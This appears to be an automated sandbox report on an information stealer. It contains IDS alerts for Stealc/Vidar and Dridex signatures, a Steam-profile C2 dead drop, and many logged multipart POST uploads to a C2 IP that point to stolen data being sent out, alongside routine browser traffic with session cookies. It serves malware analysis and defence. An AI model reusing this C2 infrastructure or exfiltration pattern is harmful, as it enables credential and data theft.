Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49822 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49825 -> 49.13.158.58:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199839170361

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 49.13.158.58Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----3790hv3wtjw4eu3euasrHost: 49.13.158.58Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----zmy5ppzukxln7qie37q9Host: 49.13.158.58Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----b1djmym7yuk68qi5pppzHost: 49.13.158.58Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----phdbsje37900zu37qimyHost: 49.13.158.58Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ec2n7q9z58ymyu37gvsrHost: 49.13.158.58Content-Length: 5581Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----zmy5ppzukxln7qie37q9Host: 49.13.158.58Content-Length: 489Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----w47qq9rqqimozu3e3ekxHost: 49.13.158.58Content-Length: 262605Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----gvs00r1nym79rq1vs0zuHost: 49.13.158.58Content-Length: 55081Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----2nop8qimgv3w47ymgd2vHost: 49.13.158.58Content-Length: 186149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----mgl68gdjmo89rim7glnoHost: 49.13.158.58Content-Length: 505Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----mohlx47yc2no8q9hvknyHost: 49.13.158.58Content-Length: 493Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----5xtjwtj5fuk68qq16f3oHost: 49.13.158.58Content-Length: 207993Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----5ppzmop8g4wln7g4wbi5Host: 49.13.158.58Content-Length: 68733Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----c2dt0r1dbsje379hdb1nHost: 49.13.158.58Content-Length: 262605Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----u3opp8glx4o8yukn7gl6Host: 49.13.158.58Content-Length: 3165Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----vaaaaimy5ph47qq9zm79Host: 49.13.158.58Content-Length: 393697Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----p8y58glxbsr9zukxtjekHost: 49.13.158.58Content-Length: 131557Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----j58glx4wbas2nyctj5pzHost: 49.13.158.58Content-Length: 6990993Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----26f3e379hdbsje37gd2dHost: 49.13.158.58Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ngdbs2nop8ymymymym7yHost: 49.13.158.58Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----5xbaai5f3eknymgd2n7gHost: 49.13.158.58Content-Length: 453Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----phvaasr1dbsrqq1ny58yHost: 49.13.158.58Content-Length: 98173Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----uknyc2vkngv37q9r9r9hHost: 49.13.158.58Content-Length: 331Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 20.189.173.17 20.189.173.17
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: INF-NET-ASRU INF-NET-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8

Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49691 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49688 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49686 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49689 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49696 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49698 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49695 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49729 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49726 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49732 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49690 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49692 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49731 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49730 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49687 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49765 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49775 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49748 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49783 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49795 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49811 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49822 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49825 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49826 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49827 -> 83.217.208.144:443

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.158.58

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D7D889 InternetReadFile,SetEvent,GetLastError,SetEvent,

12_2_00D7D889

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 49.13.158.58Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiKo8sBCIWgzQEI9s/OAQiB1s4BCMHYzgEIydzOAQiE4M4BCKLkzgEIr+TOAQjp5M4BCLTlzgE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiKo8sBCIWgzQEI9s/OAQiB1s4BCMHYzgEIydzOAQiE4M4BCKLkzgEIr+TOAQjp5M4BCLTlzgE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.24R2mrw_td8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9vR1rNwOjC3PXOxUlyKiCwNBv2Fg/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiKo8sBCIWgzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.828d19e24cc86fbcd5c9.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.6sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=9\|RefA=26D134C43D904DC9AD49D1234D3879D9.RefC=2025-04-07T16:10:05Z; USRLOC=; MUID=0CD6EFCADE7267A82236FA0DDF1066E0; MUIDB=0CD6EFCADE7267A82236FA0DDF1066E0; _EDGE_S=F=1&SID=2DA37FFF2982608E24286A3828326187; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.82b01c49017b9c3eff0d.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.6sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=9\|RefA=26D134C43D904DC9AD49D1234D3879D9.RefC=2025-04-07T16:10:05Z; USRLOC=; MUID=0CD6EFCADE7267A82236FA0DDF1066E0; MUIDB=0CD6EFCADE7267A82236FA0DDF1066E0; _EDGE_S=F=1&SID=2DA37FFF2982608E24286A3828326187; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.08ddc3af8246ad2193cd.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.50229b34d72ee6ba350f.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.c28ba8b4fe1e29635352.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.900c61c8bdff8b70fdbd.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1744042209964&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CD6EFCADE7267A82236FA0DDF1066E0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1744042209963&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=26d134c43d904dc9ad49d1234d3879d9&activityId=26d134c43d904dc9ad49d1234d3879d9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0CD6EFCADE7267A82236FA0DDF1066E0; _EDGE_S=F=1&SID=2DA37FFF2982608E24286A3828326187; _EDGE_V=1
